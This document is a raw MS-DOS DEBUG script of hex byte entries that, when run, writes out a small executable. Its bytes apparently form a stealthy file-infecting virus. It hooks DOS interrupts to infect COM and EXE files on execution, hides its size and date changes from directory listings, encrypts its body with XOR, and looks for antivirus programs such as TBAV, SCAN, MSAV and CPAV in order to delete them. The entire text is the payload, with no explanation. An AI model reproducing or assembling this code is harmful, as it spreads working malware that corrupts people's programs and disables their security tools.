E 0210 64 01 B4 4A CD 21 73 03 E9 C7 00 0E 07 C6 86 26
|
|||
|
E 0220 04 00 C6 86 25 04 00 B8 00 58 CD 21 89 86 74 01
|
|||
|
E 0230 B8 02 58 CD 21 73 03 E9 A8 00 88 86 76 01 B8 01
|
|||
|
E 0240 58 BB 02 00 CD 21 B8 03 58 BB 00 00 CD 21 BB D7
|
|||
|
E 0250 00 B4 48 CD 21 72 65 50 48 8E C0 40 26 C7 06 00
|
|||
|
E 0260 00 5A 00 26 C7 06 01 00 08 00 B8 21 35 CD 21 89
|
|||
|
E 0270 9E 05 04 8C 86 07 04 89 9E 0D 04 8C 86 0F 04 E8
|
|||
|
E 0280 C3 00 3D FF 00 74 08 8C 86 0F 04 89 86 0D 04 B8
|
|||
|
E 0290 13 35 CD 21 89 9E 09 04 8C 86 0B 04 07 06 BE 00
|
|||
|
E 02A0 01 03 F5 BF 00 01 B9 02 0B F3 A4 BA 31 04 B8 21
|
|||
|
E 02B0 25 1F CD 21 BA BD 07 B8 13 25 CD 21 0E 1F FF B6
|
|||
|
E 02C0 5C 01 07 BB FF FF B4 4A CD 21 B4 4A CD 21 8A 9E
|
|||
|
E 02D0 76 01 32 FF B8 03 58 CD 21 8B 9E 74 01 B8 01 58
|
|||
|
E 02E0 CD 21 80 BE 77 01 01 75 0E 8B BE 66 01 BE 6A 01
|
|||
|
E 02F0 03 F5 B9 03 00 F3 A4 E9 C7 FE 06 50 53 51 52 56
|
|||
|
E 0300 57 B8 00 FA BA 45 59 CD 16 81 FF 59 45 75 17 B8
|
|||
|
E 0310 02 FA BA 45 59 B3 00 CD 16 80 E1 17 8A D9 B8 02
|
|||
|
E 0320 FA BA 45 59 CD 16 1E 33 C0 8E D8 C4 36 84 00 1F
|
|||
|
E 0330 26 8B 04 3D EB 05 75 05 26 C7 04 90 90 5F 5E 5A
|
|||
|
E 0340 59 5B 58 07 C3 B4 52 CD 21 72 75 26 8B 47 FE 89
|
|||
|
E 0350 86 CF 03 33 C0 8E C0 26 C4 06 04 00 89 86 C6 03
|
|||
|
E 0360 8C 86 C8 03 2E C6 86 CE 03 00 2E 89 AE D7 03 FA
|
|||
|
E 0370 33 C0 8E C0 BB D1 03 03 DD 26 89 1E 04 00 26 8C
|
|||
|
E 0380 0E 06 00 FB 9C 58 80 CC 01 50 9D B4 0B FA 9C 2E
|
|||
|
E 0390 FF 9E 05 04 9C 58 25 FF FE 50 9D FA 1E 33 C0 8E
|
|||
|
E 03A0 D8 2E C4 86 C6 03 A3 04 00 8C 06 06 00 1F FB 80
|
|||
|
E 03B0 BE CE 03 01 75 0B 8B 86 CC 03 8E C0 8B 86 CA 03
|
|||
|
E 03C0 C3 B8 FF 00 EB FA 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 03D0 00 55 8B EC 50 56 BE 00 00 8B 46 04 2E 3B 84 CF
|
|||
|
E 03E0 03 76 04 5E 58 5D CF 2E 89 84 CC 03 8B 46 02 2E
|
|||
|
E 03F0 89 84 CA 03 2E C6 84 CE 03 01 81 66 06 FF FE EB
|
|||
|
E 0400 E2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 0410 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 0420 00 00 00 00 00 00 00 2A 2E 63 6F 6D 00 FB B0 03
|
|||
|
E 0430 CF 80 FC 4B 75 1E 3C F0 74 11 3C 05 74 11 3C 03
|
|||
|
E 0440 74 0D 2E C6 06 23 04 00 E9 77 03 BF 68 73 CF 2E
|
|||
|
E 0450 FF 2E 05 04 2E 80 3E 25 04 01 74 3A 2E 80 3E 26
|
|||
|
E 0460 04 01 74 32 80 FC 4E 75 02 EB 30 80 FC 4F 75 02
|
|||
|
E 0470 EB 29 80 FC 11 74 5F 80 FC 12 74 5A EB 00 3D 00
|
|||
|
E 0480 57 75 03 E9 A6 00 80 FC 42 75 03 E9 BF 00 80 FC
|
|||
|
E 0490 3F 75 03 E9 F4 00 2E FF 2E 05 04 9C 2E FF 1E 05
|
|||
|
E 04A0 04 72 02 EB 03 CA 02 00 E8 11 07 B4 2F CD 21 26
|
|||
|
E 04B0 8B 47 18 25 00 FE B1 09 D3 E8 3D 5A 00 76 11 26
|
|||
|
E 04C0 81 6F 1A 02 0B 26 83 5F 1C 00 26 81 6F 18 00 C8
|
|||
|
E 04D0 E8 FE 06 CA 02 00 9C 2E FF 1E 05 04 E8 DD 06 3C
|
|||
|
E 04E0 FF 75 02 EB 41 B4 2F CD 21 26 80 3F FF 74 08 BE
|
|||
|
E 04F0 19 00 BF 1D 00 EB 06 BE 20 00 BF 24 00 26 8B 00
|
|||
|
E 0500 25 00 FE B1 09 D3 E8 3D 5A 00 76 1A 26 81 29 02
|
|||
|
E 0510 0B 26 83 59 02 00 26 81 69 F9 02 0B 26 83 59 FB
|
|||
|
E 0520 00 26 81 28 00 C8 E8 A8 06 CA 02 00 9C 2E FF 1E
|
|||
|
E 0530 05 04 9C 50 51 8B C2 25 00 FE B1 09 D3 E8 3D 5A
|
|||
|
E 0540 00 76 04 81 EA 00 C8 59 58 9D CA 02 00 3C 02 75
|
|||
|
E 0550 18 0B CA 75 14 E8 AA 05 73 0F B9 FF FF BA FE F4
|
|||
|
E 0560 9C 2E FF 1E 05 04 CA 02 00 2E FF 2E 05 04 00 00
|
|||
|
E 0570 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 0580 00 00 00 00 00 00 00 00 00 00 83 FB 05 73 02 EB
|
|||
|
E 0590 40 E8 6E 05 73 3B 2E 8C 1E 80 05 0E 1F A3 82 05
|
|||
|
E 05A0 89 1E 6E 05 89 0E 70 05 89 16 86 05 8C 06 7E 05
|
|||
|
E 05B0 EB 44 2E 8B 0E 70 05 2E 8B 1E 6E 05 2E 8B 16 86
|
|||
|
E 05C0 05 2E A1 7E 05 8E C0 2E A1 80 05 8E D8 2E A1 82
|
|||
|
E 05D0 05 2E FF 2E 05 04 2E 8B 0E 70 05 2E 8B 16 86 05
|
|||
|
E 05E0 2E 8B 1E 7E 05 8E C3 2E 8B 1E 80 05 8E DB 2E 8B
|
|||
|
E 05F0 1E 6E 05 CA 02 00 B8 01 42 33 C9 33 D2 9C 2E FF
|
|||
|
E 0600 1E 05 04 72 AD A3 72 05 89 16 74 05 03 06 70 05
|
|||
|
E 0610 83 D2 00 A3 76 05 89 16 78 05 B8 02 42 33 C9 33
|
|||
|
E 0620 D2 9C 2E FF 1E 05 04 2D 02 0B 83 DA 00 A3 7A 05
|
|||
|
E 0630 89 16 7C 05 B8 00 42 8B 0E 74 05 8B 16 72 05 9C
|
|||
|
E 0640 2E FF 1E 05 04 73 03 E9 68 FF A1 72 05 3D 1D 00
|
|||
|
E 0650 72 11 8B 1E 74 05 C4 0E 7A 05 8C C2 E8 28 01 72
|
|||
|
E 0660 20 EB 35 C4 06 76 05 8C C3 33 D2 B9 1D 00 E8 16
|
|||
|
E 0670 01 72 2C C4 0E 7A 05 8C C2 E8 0B 01 72 5E E9 D5
|
|||
|
E 0680 00 C4 06 76 05 8C C3 C4 0E 7A 05 8C C2 E8 F7 00
|
|||
|
E 0690 72 03 E9 D0 00 E9 CA 00 B8 00 00 F8 E9 37 FF BA
|
|||
|
E 06A0 1C 00 2B 16 72 05 52 F7 DA B9 FF FF B0 02 E8 F8
|
|||
|
E 06B0 00 8B 16 86 05 8B 0E 70 05 8B 1E 6E 05 B4 3F FF
|
|||
|
E 06C0 36 80 05 1F 9C 2E FF 1E 05 04 0E 1F 8B 0E 78 05
|
|||
|
E 06D0 8B 16 76 05 B0 00 E8 D0 00 E9 FA FE 8B 0E 70 05
|
|||
|
E 06E0 8B 1E 6E 05 8B 16 86 05 FF 36 80 05 1F B4 3F 9C
|
|||
|
E 06F0 2E FF 1E 05 04 73 03 E9 DC FE 0E 1F A3 88 05 BA
|
|||
|
E 0700 1C 00 2B 16 72 05 52 F7 DA B9 FF FF B0 02 E8 98
|
|||
|
E 0710 00 73 03 59 EB 7E 59 FF 36 80 05 58 8B 16 86 05
|
|||
|
E 0720 03 16 72 05 15 00 00 8E D8 2E 8B 1E 6E 05 B4 3F
|
|||
|
E 0730 9C 2E FF 1E 05 04 73 02 EB 5A 0E 1F 8B 0E 74 05
|
|||
|
E 0740 8B 16 72 05 03 16 88 05 83 D1 00 32 C0 E8 59 00
|
|||
|
E 0750 A1 88 05 E9 80 FE A1 7A 05 2B 06 72 05 8B C8 E9
|
|||
|
E 0760 7E FF E9 4D FE 8B 0E 7A 05 2B 0E 72 05 51 8B 1E
|
|||
|
E 0770 6E 05 8B 16 86 05 B4 3F FF 36 80 05 1F 9C 2E FF
|
|||
|
E 0780 1E 05 04 59 E9 6C FE 3B DA 77 08 72 06 3B C1 77
|
|||
|
E 0790 02 72 00 C3 2E 8B 16 72 05 2E 8B 0E 74 05 32 C0
|
|||
|
E 07A0 E8 06 00 33 C0 F8 E9 2D FE 50 53 52 B4 42 2E 8B
|
|||
|
E 07B0 1E 6E 05 9C 2E FF 1E 05 04 5A 5B 58 C3 2E FF 2E
|
|||
|
E 07C0 09 04 E8 F7 03 2E C6 06 23 04 00 2E C6 06 26 04
|
|||
|
E 07D0 00 E8 26 FB EB 09 E8 E3 03 2E C6 06 23 04 01 2E
|
|||
|
E 07E0 89 16 11 04 2E 8C 1E 13 04 2E C6 06 24 04 00 1E
|
|||
|
E 07F0 52 E8 5B 02 5A 1F B8 00 43 CD 21 73 03 E9 B0 00
|
|||
|
E 0800 2E 89 0E 1D 04 F7 C1 04 00 74 03 E9 A2 00 B8 01
|
|||
|
E 0810 43 83 E1 FE 9C 2E FF 1E 05 04 73 03 E9 8E 00 E8
|
|||
|
E 0820 40 03 B8 00 3D 9C 2E FF 1E 05 04 73 02 EB 7E 8B
|
|||
|
E 0830 D8 0E 1F 89 1E 1F 04 53 B8 20 12 CD 2F 26 8A 05
|
|||
|
E 0840 8A D8 B8 16 12 CD 2F 5B 73 02 EB 56 26 C7 45 02
|
|||
|
E 0850 02 00 E8 AD 02 73 02 EB 49 BA 00 00 B9 1C 00 B4
|
|||
|
E 0860 3F CD 21 72 3D 8B F2 B9 1C 00 BF E6 0B 0E 07 F3
|
|||
|
E 0870 A4 B8 02 42 33 C9 33 D2 9C 2E FF 1E 05 04 73 02
|
|||
|
E 0880 EB 20 A3 70 01 89 16 72 01 2E 81 3E 00 00 4D 5A
|
|||
|
E 0890 75 05 E8 ED 00 EB 0B 81 3E 70 01 30 F2 77 03 E8
|
|||
|
E 08A0 64 00 E8 28 00 B4 3E 9C 2E FF 1E 0D 04 E8 3E 00
|
|||
|
E 08B0 E8 BE 01 2E 80 3E 23 04 01 74 08 E8 13 03 2E FF
|
|||
|
E 08C0 2E 05 04 2E C6 06 23 04 00 E8 05 03 C3 B8 01 57
|
|||
|
E 08D0 8B 1E 1F 04 8B 0E 1B 04 8B 16 19 04 80 3E 24 04
|
|||
|
E 08E0 01 75 04 81 C2 00 C8 9C 2E FF 1E 0D 04 C3 8B 0E
|
|||
|
E 08F0 1D 04 B8 01 43 8B 16 11 04 8B 1E 13 04 53 1F 9C
|
|||
|
E 0900 2E FF 1E 0D 04 C3 2E A1 02 00 80 FC FF 74 72 3C
|
|||
|
E 0910 FF 74 6E 8B 1E 70 01 83 EB 03 89 1E 6E 01 B8 00
|
|||
|
E 0920 42 2E 8B 1E 1F 04 33 D2 33 C9 9C 2E FF 1E 0D 04
|
|||
|
E 0930 72 4F B4 40 B9 03 00 BA 6D 01 9C 2E FF 1E 0D 04
|
|||
|
E 0940 72 3F B8 02 42 33 D2 33 C9 9C 2E FF 1E 0D 04 72
|
|||
|
E 0950 30 C7 06 66 01 00 01 C6 06 77 01 01 2E A1 00 00
|
|||
|
E 0960 A3 6A 01 2E A0 02 00 A2 6C 01 C7 06 64 01 00 10
|
|||
|
E 0970 A1 70 01 05 13 01 A3 07 01 E8 1C 01 C6 06 24 04
|
|||
|
E 0980 01 C3 0E 07 BE 00 00 83 7C 06 01 77 01 C3 80 7C
|
|||
|
E 0990 18 40 75 01 C3 80 7C 1A 00 74 01 C3 8B 16 72 01
|
|||
|
E 09A0 A1 70 01 E8 E1 00 40 3B 44 04 74 01 C3 8B 44 16
|
|||
|
E 09B0 A3 5A 01 8B 44 0E A3 62 01 8B 44 10 A3 60 01 8B
|
|||
|
E 09C0 44 14 A3 66 01 8B 16 72 01 A1 70 01 8B 5C 08 B1
|
|||
|
E 09D0 04 D3 E3 2B C3 83 DA 00 8B D8 83 E3 0F 89 5C 14
|
|||
|
E 09E0 B9 04 00 D1 FA D1 D8 E2 FA 89 44 0E 89 44 16 A3
|
|||
|
E 09F0 64 01 C7 44 10 02 0C A1 70 01 8B 16 72 01 05 02
|
|||
|
E 0A00 0D 83 D2 00 E8 80 00 89 5C 02 89 44 04 33 C9 BA
|
|||
|
E 0A10 00 00 8B 1E 1F 04 B8 00 42 CD 21 72 31 B4 40 B9
|
|||
|
E 0A20 1C 00 BA 00 00 9C 2E FF 1E 05 04 72 21 B8 02 42
|
|||
|
E 0A30 33 D2 33 C9 CD 21 72 16 C6 06 77 01 00 8B 44 14
|
|||
|
E 0A40 05 13 00 A3 07 01 E8 4F 00 C6 06 24 04 01 C3 E8
|
|||
|
E 0A50 6A 01 0E 1F B8 24 35 CD 21 89 1E 01 04 8C 06 03
|
|||
|
E 0A60 04 B8 24 25 BA 2D 04 9C 2E FF 1E 0D 04 E8 61 01
|
|||
|
E 0A70 C3 E8 48 01 2E 8B 16 01 04 A1 03 04 8E D8 B8 24
|
|||
|
E 0A80 25 CD 21 E8 4B 01 C3 8B D8 81 E3 FF 01 B9 09 00
|
|||
|
E 0A90 F8 D1 EA D1 D8 E2 F9 C3 0E 07 FF 06 78 01 FC BA
|
|||
|
E 0AA0 02 0B BE 00 01 8A 26 70 01 80 F4 AA 88 26 0F 01
|
|||
|
E 0AB0 8A 26 70 01 80 F4 AA BF 00 00 33 C9 AC 81 FE 13
|
|||
|
E 0AC0 01 76 08 81 FE E6 0B 77 02 32 C4 AA 41 81 F9 FA
|
|||
|
E 0AD0 00 76 02 EB 04 3B CA 75 E3 2B D1 52 8B 1E 1F 04
|
|||
|
E 0AE0 BA 00 00 B4 40 9C 2E FF 1E 05 04 5A 72 13 0B D2
|
|||
|
E 0AF0 74 0F EB BC FF 0E 78 01 83 3E 78 01 20 75 02 EB
|
|||
|
E 0B00 FE C3 53 50 51 52 B8 00 57 9C 2E FF 1E 05 04 2E
|
|||
|
E 0B10 89 16 19 04 2E 89 0E 1B 04 81 E2 00 FE B1 09 D3
|
|||
|
E 0B20 EA 83 FA 5A 72 06 F9 5A 59 58 5B C3 F8 EB F8 46
|
|||
|
E 0B30 2D 50 52 00 54 42 41 56 00 53 43 41 4E 00 4D 53
|
|||
|
E 0B40 41 56 00 43 50 41 56 00 54 42 4D 45 00 54 42 46
|
|||
|
E 0B50 49 00 54 42 53 43 00 56 49 52 53 00 54 42 44 52
|
|||
|
E 0B60 00 00 E8 57 00 0E 07 2E A1 13 04 8E D8 2E 8B 36
|
|||
|
E 0B70 11 04 46 80 3C 00 75 FA 4E 80 7C FF 5C 75 F9 B9
|
|||
|
E 0B80 04 00 BF 2F 0B E8 10 00 73 0A 8B D6 B4 41 9C 2E
|
|||
|
E 0B90 FF 1E 0D 04 E8 3A 00 C3 8B C1 33 D2 FC 8B C8 56
|
|||
|
E 0BA0 F3 A6 5E 74 13 26 80 3D 00 74 03 47 EB F7 47 26
|
|||
|
E 0BB0 80 3D 00 74 05 42 EB E5 F9 C3 F8 C3 2E 8F 06 21
|
|||
|
E 0BC0 04 9C 50 53 51 52 55 56 57 06 1E 2E FF 36 21 04
|
|||
|
E 0BD0 C3 2E 8F 06 21 04 1F 07 5F 5E 5D 5A 59 5B 58 9D
|
|||
|
E 0BE0 2E FF 36 21 04 C3
|
|||
|
R CX
|
|||
|
0AE6
|
|||
|
W
|
|||
|
Q
|